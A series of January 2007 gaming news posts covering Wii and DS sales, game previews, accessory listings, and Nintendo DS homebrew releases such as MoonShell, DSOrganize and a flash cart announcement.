The iPhone isn't a direct challenger to Sony's portable gaming ambitions--that would be the wildly popular Nintendo DS--but it most certainly is a threat to Sony's mobile media and communication ambitions. After all, the iPod has iTunes (with music, movies, TV and games); while the PSP has the Playstation Network (for PS2 games that can run on the PSP's emulator and...nothing else right now--more than two years after its launch.)
But what about the DS? Croal says:
The iPhone won't stop the DS from selling like ice on a hot summer day, but it could cause a lot of casual DS owners to put it in a sock drawer and forget about it. But for now, it looks like the only thing that's being shaken up is Apple as the company gets entangled in a legal dispute over trademark infringement. Portable gaming, for now you are safe!
For more about the Iphone check out our Apple News Site.
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January 11th, 2007, 18:29 Posted By: wraggster
via joystiq
Who needs a Wii when you have friends that are willing to make asses of themselves? That seems to be the message of this video, in which a depressed would-be Wii owner uses a TV remote to "control" real life versions of Tennis, Golf and other games. We especially like the scene where our hero controls Punch-Out! on the NES by jumping around and calling out "left" and "right" to guide a friend holding an actual NES controller. How's that for intuitive controls?
While the video is hilarious, it's also a good reminder that playing the Wii is no substitute for real life activity. Why not put down that copy of Zelda and pick up a friend for a fake sword duel. If you're tired of Wii Tennis, why not go out and, y'know, actually play some tennis. There's a great big world out there just waiting for you to make an ass of yourself, so go play.
Video Here
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January 11th, 2007, 18:32 Posted By: wraggster
via joystiq
Okay, before y'all fall over yourselves telling us that he's using a special cartridge allowing him to pipe in a video signal to his Game Boy Advance, let us beat you to the punch -- we know that. It still looks pretty cool playing the Wii on a GBA screen. Though why you would even want to do this is an entirely different matter. Also, just forget about that sucker being portable. For now, it's just a nifty little "Gee whiz!" feature that'll make you pine for a Wii Boy Portable one day. We can dream.
Peep the vid after the jump and imagine everything else you can play on that tiny screen, thus destroying your eyesight and/or going blind. You've been warned.
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January 11th, 2007, 18:39 Posted By: wraggster
News from Play Asia:
Freeloader Mania - Three new versions available and put up to a test. Which version is suitable for your console?
With arrival of the Nintendo Wii™, various reports about compatibility of Datel's popular Freeloader device have been made. We have now received brand new Freeloader supply, available in one old (+three new versions) and have put all of them to a test.
Please make sure to check your console model when placing your order to ensure that the Freeloader indeed works without problems.
Please be reminded that the Freeloader only enables import game playback of Gamecube™ software and is currently not suitable for Wii™ software.
Full details at Play Asia:
More Details about the Freeloader
features
Launch and play imported GameCube™ games from any region
No need to modify your console – keeps your warranty intact
Add loads of new titles to your GameCube™ collection, including games that may never be released in your region
Play US and Japanese games on a PAL GameCube™
Play PAL games on a US or Japanese GameCube™
Fast and easy to use
Compatible with the Panasonic Q
Not 100% compatible with the Japanese version of F-Zero GX and Paper Mario 2
description
FreeLoader uses proprietary technology to enable your GameCube™ to play import games from any other region. Using FreeLoader you can now, for example, easily play U.S. games on a European GameCube™ console, or play Japanese games on a U.S. console.
If you’re one of the many gamers that bought an imported GameCube™ console and you now want to play games from your own country, then FreeLoader is also ideal for this task. Whichever way you use FreeLoader, no modifications to your console are needed and your console’s warranty is kept intact.
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January 11th, 2007, 18:39 Posted By: wraggster
News from Play Asia:
Freeloader Mania - Three new versions available and put up to a test. Which version is suitable for your console?
With arrival of the Nintendo Wii™, various reports about compatibility of Datel's popular Freeloader device have been made. We have now received brand new Freeloader supply, available in one old (+three new versions) and have put all of them to a test.
Please make sure to check your console model when placing your order to ensure that the Freeloader indeed works without problems.
Please be reminded that the Freeloader only enables import game playback of Gamecube™ software and is currently not suitable for Wii™ software.
Full details at Play Asia:
More Details about the Freeloader
features
Launch and play imported GameCube™ games from any region
No need to modify your console – keeps your warranty intact
Add loads of new titles to your GameCube™ collection, including games that may never be released in your region
Play US and Japanese games on a PAL GameCube™
Play PAL games on a US or Japanese GameCube™
Fast and easy to use
Compatible with the Panasonic Q
Not 100% compatible with the Japanese version of F-Zero GX and Paper Mario 2
description
FreeLoader uses proprietary technology to enable your GameCube™ to play import games from any other region. Using FreeLoader you can now, for example, easily play U.S. games on a European GameCube™ console, or play Japanese games on a U.S. console.
If you’re one of the many gamers that bought an imported GameCube™ console and you now want to play games from your own country, then FreeLoader is also ideal for this task. Whichever way you use FreeLoader, no modifications to your console are needed and your console’s warranty is kept intact.
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January 11th, 2007, 18:43 Posted By: wraggster
New from SuccessHK
Product Features of Nintendo Wii Wii Transparent Cover
Transparent and ultrathin close-fitting protection shell
Perfect protection for your remote controller
Protect your controller from scraping and dirty
Available colors: Clear and Transparent Black (You could request specify color during ordering)
Please mark down the color you want in remark column when order
More Description of Nintendo Wii Wii Transparent Cover
This product is designed with close-fitting protection shell which is highly transparent and very thin. This cover is easy to change and can give your controller dazzle beautiful color. It is also very light and will not affect operation.
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January 11th, 2007, 19:08 Posted By: wraggster
via dslreports
A local Texas news station is warning parents that a broadband-connected Nintendo Wii can be a "porn gateway." "It's very upsetting something this popular—a kid game—can go that direction so quickly," says one parent. Some adult websites have tailored their content to be viewable on the Wii Opera browser, which apparently has some parents up in arms.
Of course, the reporter fails to mention how the parental controls allow parents to either disable browsing completely or restrict which "channels" kids can browse. They also apparently didn't know the porn industry is adapting to the Wii because the console is used by adults, who have every right to view boobies in between bouts of Zelda. "We need to keep them protected from people who want to invade a fun game like the Wii," proclaims one parent. Indeed.
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January 11th, 2007, 19:13 Posted By: wraggster
via ign
During our patrol of the CES 2007 showfloor, which stretched onward for what seemed like miles, we came across several examples of studios using Nintendo's new generation console as a means to attract people to their booths. And it worked like a charm every time. IBM had a Wii on display and a copy of Wii Sports in the back of its showfloor presence. Dolby did, too.
Dolby had a number of new audio technologies to preview at the electronics event, but it was trumpeting an oldie but goodie, Dolby Pro Logic II, to spotlight Wii. Passersby could not resist the temptation and continually streamed in to watch and play Wii Sports.
Photos at the link above
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January 11th, 2007, 19:16 Posted By: wraggster
via mcvuk
Video games giant Nintendo is returning to this year's Nuremburg Spielwarenmesse after a four year absence.
Despite the shortage of space on the Nurnberg fair site, Nintendo will have a major presence in the 500 square-metre Paris hall in CCN West.
Dr. Bernd Fakesch, general manager of Nintendo Germany explained the firm's decision to return: “Our new home console Wii, which has been on the market since December 2006, is intended more for people beyond the classic video game target groups, such as older adults. The International Toy Fair is also increasingly aiming at these people in 2007. Nintendo’s presence in Nurnberg therefore fits in perfectly with our strategy, which is aimed at extending the market.”
Ernst Kick, CEO of Spielwarenmesse, says Nintendo’s decision is longterm confirmation of the concept of the International Toy Fair: “The participation of such an innovative company makes it clear that we have touched the pulse of the times with our arrangement of the contents of the International Toy Fair and the special Toy Generations show in hall 9. The Nintendo commitment opens up an exceptional opportunity for the national and international toy trade to successfully develop new target groups with an attractive range of products. We assume that the trade will recognize and specifically seize this chance.”
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January 11th, 2007, 19:20 Posted By: wraggster
Via wii pc scripts
The First GlovePIE script to play Doom 3 with wiimote and nunchuk. Use IR.
Enjoy
Download : Here
Download Doom 3 trial : Here
Instructions :
Wiimote IR : mouse
Nunchuk : to move
Button B : Fire
Button A : Jump
Button 1 : Reload
Button 2 : Sprint
Button Home : Scores
Nunchuk Button Z : Crouch
Nunchuk Button C : Jump
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January 11th, 2007, 19:24 Posted By: wraggster
Via Wii PC Scripts:
Here is a script to navigate in Firefox, Windows Explorer, Internet Explorer with your Wiimote Using Glovepie
Download : Here
Instructions :
Move the wiimote to move mouse
Button Home : Doubleclick
Button minus : Precedent
Button Plus : Advance
Button 1 : Copy
Button 2 : Paste
Button A : left click
Button B : right click
Button Up : Keyboard Up
Button down : Keyboard Down
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January 11th, 2007, 19:27 Posted By: wraggster
via wiifanboy
Some nice folks over at GoNintendo have submitted some scans and a rough translation for the upcoming Fire Emblem: Goddess of Dawn for the Wii. Though we follow the FE story about as well as we can save a dying victim using pretend surgical skills (damn you, Trauma Center!), some details might interest those masochists among us:
Sothe is Mikaya's younger brother, though they aren't blood-related.
The nations of Gallia and Begnion are at war. Lots and lots of war.
The game will be divided into discrete portions, and the first will focus on the "Dawn Group".
More info
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January 11th, 2007, 19:36 Posted By: wraggster
Dragonminded has released a new beta of his awesome app for the Nintendo DS, heres whats new:
A demo plugin that has already been compiled to run wonderswan and wonderswan color games can be obtained here. Place it in your plugins directory to try it out
Changed driver structure to allow better supercard support, built in m3cf support.
Changed version string to properly reflect the version.
Fixed issue with loading IRC configuration.
Fixed issue with some langauges and random freezes/browser errors.
Fixed issue with files with no extension being detected as a plugin type.
Added check for resource0.bin and added warning message if it's not found.
Heres a description for those who dont know what this app is:
DSOrganize is meant as a homebrew organizer application for the Nintendo DS that should have come built in in the first place. It is by no means comparible to a full-fledged organizer such as a palm, and it is not planned to become an operating system, video player, or anything similar.
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January 11th, 2007, 19:39 Posted By: wraggster
via dsfanboy
Everyone's favorite ace attorney Phoenix Wright is releasing a new game stateside next week. but for those of you in the UK and Germany who have been sitting idly by and waiting for the sequel to the best DS game ever can finally breath a sigh of relief. Turns out, you'll be getting your hands on the game mid-March. March 16th, to be exact, with the hold-up apparently being due to German language localization.
With such a wait, are any of you German and UK residents out there planning on importing the US version? Or have you already imported the Japanese game, which has an English translation?
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January 11th, 2007, 19:41 Posted By: wraggster
via dsfanboy
A pair of pages featuring Final Fantasy XII from Famitsu magazine have been scanned and shot through the vast series of tubes that comprise the internet, eventually arriving on our digital doorstep. We now present said scans to you in an act of surrender kindness we hope will be valued. You're good people and deserve good scans. We'd include the scans past the post break, but they're fairly huge and would break the site's tables. Also, we'd translate the info, but our inability to translate Japanese script makes that impossible.
Scans Here
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January 11th, 2007, 19:51 Posted By: wraggster
MoonShell is a multimedia player for Nintendo DS (Lite) consoles. It has support for DPG video files, MP3/NSF audio files and viewing JPG/Jpeg/BMP/PNG (non progressive) files, it also has support for TXT textfiles. MoonShell supports dualscreens and it has full support for the touch screen. MoonShell has plug-in system that allows to add any compatible plug-in just by copying the plug-in files to the appropriate folder. MoonShell also comes with several kind of useful plug-ins.
Heres whats new:
- Version 1.6finalfinalbeta0 2007/01/11
The bug to which the plug-in system had been doing an important violation of the memory access was corrected.
The skin folder was changed from 'moonshl/' to 'moonshl/skin/'.
The system menu was added.
An environmental setting is revokable in NDS.
Binary viewer was added.
Moreover, it was changed variously in a small point..
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January 11th, 2007, 19:54 Posted By: wraggster
News from Octobinz
Lo' there.
About the game, here are actual steps and deadlines :
1 - Network basics needs to be fixed. Actually, many informations are transfered from client to server in actual (non release/non source-released) version. But memleaks and actual data structures sucks.
2 - Find a main artist. Rips are nice. Yes. But they are rips that doesn't show the heart of the game.
I still looking...
3 - About player possibilities.
Actually, i decided to keep "basic" classes (warrior, rogue, priest, mage) and only human to simplify arts and others things to release a demo. I'm thinking about the quest system and interface. World of warcraft's one suits fine to me. talk to NPC, get quest, complete quest, completion registered on server, reward, that's all.
For a basic system, it seems good.
4 - Characters :
They are hosted server side in mysql database containing informations (model, location when logout, stats, items, etc...).
Number of character is unlimited atm. about characters creation & players registration, registration will be done on website. First, player identification, characters list & new characters creation capabilities, then enjoy.
To conclude, i can say than coding a mmo is some kind of pain. I'm building engine to fit all future needs and i'm not sure of many things but i think i'm in the good direction.
About sourcecode.
GPL. That's all. At starts, i simply wanted to share it. I dont care about intellectual property and stuff like this. Work and creations have sens only when they are shared. But every friends of mine says : "you SHOULD take care of this".
So that's it. It's GPL and i stil have my friends. Nice isn't it ?
also this:
I made a very little sourcecode update using svn version. Few things are clearer and bugs were fixed.
And yes, if game_engine->player is null, you cannot use it.
More info at link above
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January 11th, 2007, 19:58 Posted By: wraggster
News/release from Tails:
Presentation:
Avoid 'EM all is a “dodging them all” (not, without jokes ) where you must, armed with your stylet, to avoid the balls who break on your red square.
The goal of the play is to make best time.
The rain of ball accelerates during your performance, and you will have the possibility of collecting two types of no-claims bonus in order to help you to hold longest!
History:
Version 1.0: 10/01/07
Initial Release
How to play:
Once you pressed on the touch screen, you control a red square which you must at all costs prevent from being made touch by the white particles which fall from the higher screen.
The jouability is with simplest: to move on the touch screen will make move your square at this place.
On the screen time like your life is presented.
Time indicates your time of survival quite simply.
The life, as opposed to what one could believe, does not make it possible to in no case to be able to be caught particles of time to other. This gauge decreases gradually if you are in one on the two sides of the touch screen:
A co-ordinate in 0 or 255 (all on the left or all on the right) will entrainera the reduction in your life. If it reaches 0, you lose.
This system was set up in order to prevent from camping on the edges of the screen.
No-claims bonus:
Interesting part of the play, the no-claims bonus are of two kinds:
Green particles: The play passes in mode slows down for one duration indicated in top of the lower screen. You can then better locate you when there are many particles. You can be made touch in this mode.
Red particles: You become invincible! The one moment space (indicated in top of the lower screen) you can be made touch by any particle without losing the part. Effective at the time of high performances, but still is necessary it to succeed in catching it. You cannot touch the edges of the screen without losing life, it is a closed area!
Heres whats new:
Changelog: [+] the no-claims bonus are put in reserve. To use them with left or right-hand side (use buttons Y and A for the left-handeds person) like indicating on the screen. [+] Addition of the sound for the mode switch-over slowed down.
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January 11th, 2007, 22:18 Posted By: wraggster
News from the Command And Conquer DS Clone Project :
I implemented the basic A* algorithm last night and it's working fine. Next I'm going to expand the test, neaten the code and create a batch of different heuristics. I want to put them all into a single demo so you can switch heuristic whenever you want, and then compare CPU cycles and the paths for each one. When I'm done with this I'll more than likely release it as the next game test.
To give you a clue where it's going I'm planning an offline terrain analysis tool that will identify features on the map such as choke points and good places to build bases (near resources etc.) to help out the AI. It will also create higher-level node maps to ease the path finding and do other cool stuff.
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January 11th, 2007, 22:26 Posted By: wraggster
A new Slot 1 flash cart for Nintendo DS will be coming out soon called the DS Fire:
Heres the specs:
1. No need any patch , plug and play;
2. integrated NAND Flash,more stable and faster. No need extra memory cards;
3. make your NDS like a USB mobile disk. Support FAT format of the documents operate system , copy ROMS Directly from PC to NDS, no need any converter software.
4. Game saves automatic backup to integrated chipset. Support back up to PC to share with your friends.
5. Same 1:1 size of the Slot 1 cars.
6. same playing time as the original Slot 1 carts.
7. Support MoonShell, clean ROM, Easy to Play MP3,Movie ,books
8.If use with more software with PC can get more functions.
Its rumoured to be a clone of the recently released NCard, more details as we get it.
Screen Via Comments
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January 11th, 2007, 22:31 Posted By: wraggster
News and Release via Lynx:
I guess it's a game.. This is the beginning of a game I am creating for my 2 year old son. It currently has 3 modes (all english).
Names - Says the letter name with a graphic association on the top screen.
Sounds - Says the sound the letter makes with the same graphic association.
Find - Asks you to find a letter (by name) and you have to pick it.
It is designed to help toddlers learn the names and sounds of the alphabet. I also plan to add colors, shapes, and numbers just to name a few.
http://leo.ndshb.com will become the official site for the games(s) and is still under development.
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January 11th, 2007, 22:41 Posted By: wraggster
Ashai Rey has released a new game for the Nintendo DS, heres the details:
Hi,
Here's my entry for the compo, The real Agent Orange , It was a quick job. I thought that the compo was already over till 7 days ago
All is functioning execpt the rondomizer which can't be set. (I used PA_InitRand(); but still no random numbers), Ps, don't take this game to serious...
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January 11th, 2007, 22:50 Posted By: wraggster
Smealums FPS game is now an online game for the Nintendo DS:
Heres the google translation of whats new:
Good Ben… Release Usual bond: http://jvteamds.free.fr/FPSonline/ Here thus the version 0.01c, which includes like innovation to allow the play 3. It is accompanied by a total recasting of the waiter (invisible with the naked eye on the other hand) In the next version, I hope to be able to include play with 4 (it is not a problem on the side of the code in fact, it is a problem for the number of polys, it would be necessary a less complex model for me…), a small bar of life, a whole heap of corrections of bugs, and can be even a small surprise
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January 11th, 2007, 23:17 Posted By: wraggster
via IGN
Today Midway Games announced with much jubilation that it has shipped more than 1.8 million units worldwide of its Happy Feet videogame. Based off of the Warner Bros. animated feature film -- which grossed more than $326 million at the box office -- Happy Feet the videogame puts players in the shoes of the tone deaf, tap-dancing penguin, Mumble.
"We are extremely pleased with our continuing expansion into the kids' videogame market and the strong sales of the Happy Feet games," said David Zucker, president of Midway. "Warner Bros. created a wonderful and engaging film for audiences of all ages, and we're ecstatic to have published a game that both complements the movie as well as strengthens our successful holiday line up."
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January 11th, 2007, 23:19 Posted By: wraggster
via ign
Majesco is cooking up a Wii version of Cooking Mama, which was released on the DS last September. But Cook Off isn't just a port of the handheld game -- there are new foods, new modes, and multiplayer, all wrapped around the crunchy center of the Wiimote.
The single-player mode lets you practice recipes under the watchful eye of Mama, who now has a super cute Japanese girl voice. You'll use the Wiimote in a variety of ways to prepare your meals -- point it down and stir like a spoon, hold it horizontally and push forward and back like a rolling pin, or use it like a knife to slice and dice. Each meal is divided into steps, and you'll get a quick tutorial on how to use the controller before you jump into each section. Preparing lasagna essentially becomes a series of minigames.
Once you feel confident with your cooking skills, you can move onto the Challenge mode. Here you're on your own, and you'll have to beat the clock and prepare meals as fast as possible. As you play you'll unlock more recipes. In all there are 300 foods and 55 recipes, including desserts.
Then there is the Friends and Food of the World mode, where you can challenge computer-controlled friends from foreign lands on their local cuisine. You'll receive a gift just for playing, and if you win you'll get an even better prize.
Cooking Mama: Cook Off has a multiplayer mode for two players. Choose a recipe for your battlefield, then see who can complete each step in the recipe the fastest. Anything you've unlocked in the single-player game can be used in multiplayer.
The DS game had a heavy focus on Japanese cuisine, but Cook Off has a well-rounded diet. All the ethnic food groups are represented: Italian, Mexican, American, Chinese, Spanish, and more. The food is photorealistic now, as well. One of the most interesting aspects of the game is that you'll actually learn how some exotic foods are prepared. When making a dish that calls for squid, you'll have to cut the squid's head off, peel its skin back, pull the rubbery meat from the inside -- and if you mess up you'll get ink everywhere. You'll have to clean and gut your fish, too. It's all rather gruesome, actually, compared to the cartoony look of the rest of the game.
Cooking Mama: Cook Off will be served in April for $49.99. We're looking forward to spending some more quality time with our Mama.
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January 11th, 2007, 23:23 Posted By: wraggster
via ign
Majesco brought Bust-A-Move to the DS in fine form, and now they hope to do the same thing on the Wii. But this isn't quite the Bust-A-Move you know and love. Majesco has tweaked the multiplayer game in a way that drastically changes the gameplay from previous versions.
Bust-A-Move Bash! uses the Wiimote to aim your bubble launcher. You can either use the controller as a pointer, or you can hold it upright and rotate it left and right like the launcher works. Either way, you have an aiming guide to help you out.
Bash! is multiplayer-centric like the DS version was. But instead of playing on your own area and trying to force your opponent's bubbles down to the bottom of their screen, Bash! is a timed game where everyone plays on the same field. Up to eight players can line up at the bottom and race to collect as many jewels as they can before time runs out. Jewels are scattered throughout the mess of bubbles, and you can grab them by popping bubbles adjacent to them.
UFOs have been added to Bash!'s gameplay, as well. The saucers will fly around the screen, sometimes getting in your way and sometimes giving you a useful power-up like the S bubble, which slides to the closest same-colored bubble. Items from previous Moves make a return, as well: the bowling ball which plows through bubbles, the flame ball which explodes on contact and takes adjacent bubbles with it, and the star bubble which clears the screen of all the colors equal to whichever bubble you hit.
If the game ends in a tie and you've collected the same amount of jewels as one or more of your opponents, the chains you made during play will act as a tie breaker. So there is still motivation to go for the big drops.
Single-player modes include the familiar Puzzle and Endless modes, and Majesco is toying with including a Shooting mode as well. The demonstration they gave was a little simplistic: as bubbles float across the screen you aim and shoot. But you'll have to change the color of your aiming reticule to match the color of the bubbles, so it could get pretty hectic as you're trying to pop everything on screen while constantly switching colors. The colors are mapped to directions on the D-pad, so you press the direction of the color you need to switch to, then fire. Majesco said this mode may end up being a mini-game if it doesn't turn out to be substantial enough to warrant its own mode.
Familiar characters like Bub, Bob, and Nin will be making a comeback, but we noticed some new faces on the character-selection screen that we didn't recognize like a Tiger and a Sorceress. It looks like there will be 8-10 characters to choose from.
Bust-A-Move Bash! is a frantic, fast-paced take on the classic Bobble franchise. It may take too many liberties with the formula for some, but we definitely had fun during our session today. It reminds us of Puzzle Bobble 4 in the amount of zany activity going on. Bash! will be available in April or May for $39.99, and we're excited to play more.
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January 11th, 2007, 23:25 Posted By: wraggster
via ign
The Japanese game market came to a close in 2006 with Dragon Quest Monsters Joker, which hit the DS on December 28. It looks like 2007 will end the same way.
Jiji News reports today that Square Enix plans to release Dragon Quest IX to the Japanese market towards the end of the year. Company president Yoichi Wada said to the news service in Tokyo today, "We're aiming to begin sales for the year end sales season."
This first numbered Dragon Quest game since 2004's DQVIII was given a playable preview at its unveiling a few weeks back, suggesting that a release wouldn't be too far off. Wada's comments suggest, rather, a November or December release for the title.
Hopefully an international release won't be too far behind.
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January 12th, 2007, 00:29 Posted By: wraggster
Noda this weekend is to release a DS game of the Mod Tower Defense for Warcraft 3.
Heres some screens:
Now heres a translation from French to English of all the info about the game:
Presentation:
Good, after all this time spent to work on this project, it time to start to do a little “pub” to my one project making this post “Teaser” (which for the moment is not at 100% in agreement with the rules, but the download normally arrives within 4 days )
I is not on it is necessary to present the concept of the play, it is an adaptation of the MOD Tower Defense of Warcraft III…
An editor of complete level on PC was carried out, and allows no matter whom to very easily create news maps for the play.
The current version is entirely playable, although all the functionalities were not integrated yet (like FatLib compatibility).
For the moment, only the owners of linker Slot-2 can benefit from it, but after the addition of the FatLib support the linkers Slot-1 will be also of the part
Some characteristics for you entice a little (into English and on line readme for the moment, I will translate later):
- real time strategic game
- edge load custom-made maps very easily
- advanced dynamic pathfinding
- max. 40 towers and to their attacks gfx along with 40 monsters one screen
simultaneously
- 10 special powers for towers (slow fox trot, poison, critic ramming, pierce, fire magic,
toilets magic, lightning magic, wind magic, splash ramming, reveal invisible monsters)
- same for monsters resistance & immunes
- flying & walking monsters standard (and ability for towers to attack both gold only
one standard)
- dynamic sound engine & stereo sound placement (not included for now)
- max 256 various types of monsters
- max 256 various types of towers
- max 256 rounds
- max 11 possible upgrades per tower
- max 8 bases evolution levels
- max 8 different clans to choose from At the start
- 128 let us icons gfx for towers, evolutions…
- 64 towers gfx with 6 color variations for each
- 36 towers gfx with 4 color variations for each (more to come)
- fully customizable engine through map definitions
- advanced graphical map editor
- and more…
Good currently I am of partial thus I do not have too time all to detail, but the next week I promises to you that I release all
Sounds awesome, so Warcraft comes to the DS via of the Homebrew Scene.
DIGG THIS
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January 12th, 2007, 01:17 Posted By: wraggster
The last two years, Nintendo saw Gamecube software sales plummeting, and the general outlook for the Nintendo Gamecube itself has not seemed very bright, infact as of now the Gamecube is all about barren for any new releases, and as a console is effectively dead, now however the legacy of the Gamecube seems to be even stronger, and Gamecube games have gained an al new life expectancy because of this.
Consumers are now discovering several titles that they infact overlooked the past generation, purchasing Games Like Resident Evil 4, Eternal Darkness, Geist, and Several other AAA titles that they may have missed out on by overlooking what the Gamecube had to offer this last round. Many retailers (Such as EB Games and Gamestop) Offer several Games at prices less than 20 dollars new, and people are taking advantage of this.
Could this infact extend the production life of Gamecube games? or simply help solidify the Nintendo's position in the Market. Only time will tel where this leads.
via scp
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January 12th, 2007, 16:38 Posted By: wraggster
via cvg
Konami has NOT cancelled a mass of PS3 and Wii titles after all, Japanese mag Famitsu has said on it website.
Previously the magazine listed a bundle of titles supposedly canned by the Metal Gear Solid developer, including Jikkyou Powerful Pro Baseball (we've not heard of it either) and a next-gen version of Gradius, along with a shed-load of untitiled projects including 'New action adventure game 2' (we're sure we played that one on the SNES).
Famitsu points to a "printing error" as the reason for cancellation claims. Konami istelf has kept shtum over the report.
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January 12th, 2007, 16:41 Posted By: wraggster
After the promising reveal of the Q1 line-up earlier this week, Nintendo has dropped a surpisingly lacklustre UK Wii Virtual Console update this morning - with only one single NES game up for grabs.
In case you're interested, the NES game added today is Namco's arcade shooter Xevious - which we're reliably informed by elder staff members is quite good. However, for 500 Wii points - especially considering it's already been bundled in countless Namco compilations - your cash might be better spent on some older VC titles you might have missed out.
Nintendo: more than one game next week please. And Mario Kart 64 perhaps?
via cvg
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January 12th, 2007, 16:58 Posted By: wraggster
via eurogamer
Ignition Banbury has had to drop support for the GameCube controller from the forthcoming Wii version of Mercury Meltdown Revolution.
"We've had to drop support for the GameCube controller as it's a very much 'at developers own risk' proposition and we're not masochists!" studio manager Ed Bradley told Eurogamer, in an interview due to be published in the near future.
Originally the game was set to offer control via tilting the Wiimote, but also analogue support through the Wii classic controller and GameCube pad. The Wii classic controller will still be supported.
And there's lots of good news in other areas, with Bradley confirming that the team allocated loads of time to making sure the game offered excellent feedback for its tilt controls - something that's crucially important in a game like Mercury.
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January 12th, 2007, 17:03 Posted By: wraggster
via gibiz
A buoyant Nintendo has pledged to continue to manufacture the Wii console at "full bore," in order to satisfy customer demand, after the release of independent sales data from NPD.
The figures revealed that the Nintendo Wii has sold 1.1 million units in the 44 days since launch in North America, supported by software releases such as The Legend of Zelda: Twilight Princess, which totalled 1.5 million sales though Wii and GameCube SKUs combined.
"Millions of players, both hardcore and brand new, are already enjoying the unique entertainment provided by Wii, but demand for the system remains incredibly high," said NoA president Reggie Fils-Aime.
"Our work is just beginning. We're dedicating ourselves to maximising both manufacturing and distribution full bore throughout 2007, to make sure everyone who wants to experience the future of videogaming can do so just as soon as possible."
It wasn't just Nintendo's home console that performed well in 2006. The DS managed to sell 1.6 million units in December alone, bringing total sales in the region to 5.3 million.
Top-selling software for the DS included New Super Mario Bros. which shifted 2 million units in 2006, while Brain Age: Train Your Brain, sold 1.1 million copies.
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January 12th, 2007, 17:03 Posted By: wraggster
via gibiz
A buoyant Nintendo has pledged to continue to manufacture the Wii console at "full bore," in order to satisfy customer demand, after the release of independent sales data from NPD.
The figures revealed that the Nintendo Wii has sold 1.1 million units in the 44 days since launch in North America, supported by software releases such as The Legend of Zelda: Twilight Princess, which totalled 1.5 million sales though Wii and GameCube SKUs combined.
"Millions of players, both hardcore and brand new, are already enjoying the unique entertainment provided by Wii, but demand for the system remains incredibly high," said NoA president Reggie Fils-Aime.
"Our work is just beginning. We're dedicating ourselves to maximising both manufacturing and distribution full bore throughout 2007, to make sure everyone who wants to experience the future of videogaming can do so just as soon as possible."
It wasn't just Nintendo's home console that performed well in 2006. The DS managed to sell 1.6 million units in December alone, bringing total sales in the region to 5.3 million.
Top-selling software for the DS included New Super Mario Bros. which shifted 2 million units in 2006, while Brain Age: Train Your Brain, sold 1.1 million copies.
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January 12th, 2007, 17:06 Posted By: wraggster
via gibiz
The Japanese software market rose 125 per cent in 2006, to 363.89 billion yen (EUR 2.33bn), with Nintendo the most successful company in the market.
Hardware sales for the market as a whole also climbed to 261.9 billion yen (EUR 1.68bn), a 160 per cent increase for the last twelve months, according to data from Enterbrain.
The Nintendo DS was the best-selling hardware in the region, clocking up 7.5 million units sold, leaps ahead of its closest rival, the PSP, which sold 1.9 million units. The PS2 managed 1.5 million units sold.
Nintendo also sold 24.2 million units of software in 2006, which rises to 29.8 million when including sales from affiliate, The Pokemon Company.
The second highest-selling publisher was Square Enix, which managed sales of 6.8 million units.
The top ten best-selling games for 2006 also included eight Nintendo titles - all for the DS - with only appearances from Square Enix (Final Fantasy XII, PS2) and Konami (World Soccer Winning Eleven 10, PS2) breaking up the pack.
Pokemon Diamond/Peal was the number one selling game with 4.3 million units sold in the region, while New Super Mario Bros. was in second place with 3.8 million units by the end of the year.
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January 12th, 2007, 17:24 Posted By: wraggster
Via Insert credit
Whilst From Software are often known to produce games involving wave after wave of killbots, they do have other works within their portfolio. One of these is the Kuri Kuri series.
The original game, on the PlayStation 2, was a moderately endearing puzzle platformer set over nine worlds with requisite boss battles. It didn't do that great and From Software shelved it as a consequence. Now in the clear and present glare of the DS Lite's omnipotence in Japan, Kuri Kuri has been jolted back into action.
Bear in mind though that their last DS game, Tenchu Dark Shadow, was akin to having nutty fecal matter ground into your cornea, here's hoping that Kuri Kuri DS is a departure from that hellish experience. The word "kuri", in case anyone is wondering, means "chestnut" in Japanese but the doubling up of the word has rather amusing ramifications; in that manga artists use "kuri kuri" to denote the sound of breast fondling.
Definitely a game for the kids then.
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January 12th, 2007, 20:56 Posted By: wraggster
Via alt-ctrl
For the second in our occasional series about alternate input devices for videogames, we present you with an exclusive look at the control schemes for SSX Blur, the latest entry in Electronic Arts' acclaimed snowboarding franchise. "SSX is a lighthearted, colorful, over the top game," producer Alex Hyde told Level Up in an email. "The motion-sensing features of the Wii controllers seemed a natural fit to the sports of skiing and snowboarding, and at the same time allowed us to add a level of depth to the game that isn't possible on a traditional gamepad using a complex combinations of buttons. Also, the fact that the control scheme is more physical causes the player to be much more engaging and immersive experience, which is a real plus." We plan to get our hands on it within the next few weeks; for now, enjoy our exclusive screens, pictured below.
Screens at link above
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January 12th, 2007, 20:58 Posted By: wraggster
Via NG
GameCube’s dead? Not to publisher O3 Entertainment, which is publishing a new GameCube shoot ‘em up. O3 tells Next-Gen backwards compatibility offers small publishers low-risk opportunities.
Outside of still strong sales of the PlayStation 2, the industry has its eyes fixed on the new generation of consoles. But with backwards compatibility, small publishers can take advantage of the install base of both old and new console generations, and in theory make more sales.
Santa Clara, Calif.-based O3 will be publishing the GameCube game Radio Allergy, a title developed by Japan’s Milestone studio, which is also responsible for another O3-published shoot ‘em up, 2005’s Chaos Field. The company describes its upcoming vertical-scrolling shooter as “a modern day revival to the classic arcade style shooters like Gradius and R-Type.”
O3 product marketing manager Mike Pepe told Next-Gen that backwards compatibility gives publishers additional venues to make more sales, thanks to a larger compatible hardware userbase.
He added, “With the prices that you can sell a GameCube title for, it’s a lot more reasonable currently than going with the Wii, which of course is a lot more expensive for us to garner [titles for] and also a lot more expensive for the customer to buy.”
It’s not a strategy that larger publishers may necessarily be interested in, but for small, more specialized companies like O3, it just might make sense. The earlier Chaos Field had respectable sales of 15-20,000 units, according to Pepe—not bad for an import-focused publisher with only seven employees.
While O3 is quick to point out that Radio Allergy is compatible with the wildly popular Wii, backwards compatibility isn’t the only reason O3 is bringing a game to Nintendo’s fading GameCube.
“There’s still a large following for shmups [shoot ‘em up games] on the GameCube,” said Pepe. “We’ve actually been prodded a lot by the fan base out there to put one out.”
A version of Radio Allergy also appeared in Japan on the Dreamcast, and is known as Radilgy (or Radirgy or Rajirugi). News of a GameCube version surfaced in late December, with O3 confirming the game today with an official announcement.
Perhaps the most notable GameCube shmup is Treasure’s Ikaruga, published by Atari in 2003. The cult classic is regarded as one of the most elegant, insanely challenging tributes to arcade-style shmups.
Radio Allergy is set to launch in February for $19.99.
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January 12th, 2007, 21:08 Posted By: wraggster
New from SuccessHK
Product Features of Nintendo Wii Wii Crystal Force(3rd Party)
Transparent and ultrathin close-fitting protection shell
Perfect protection for your remote controller
Protect your controller from scraping and dirty
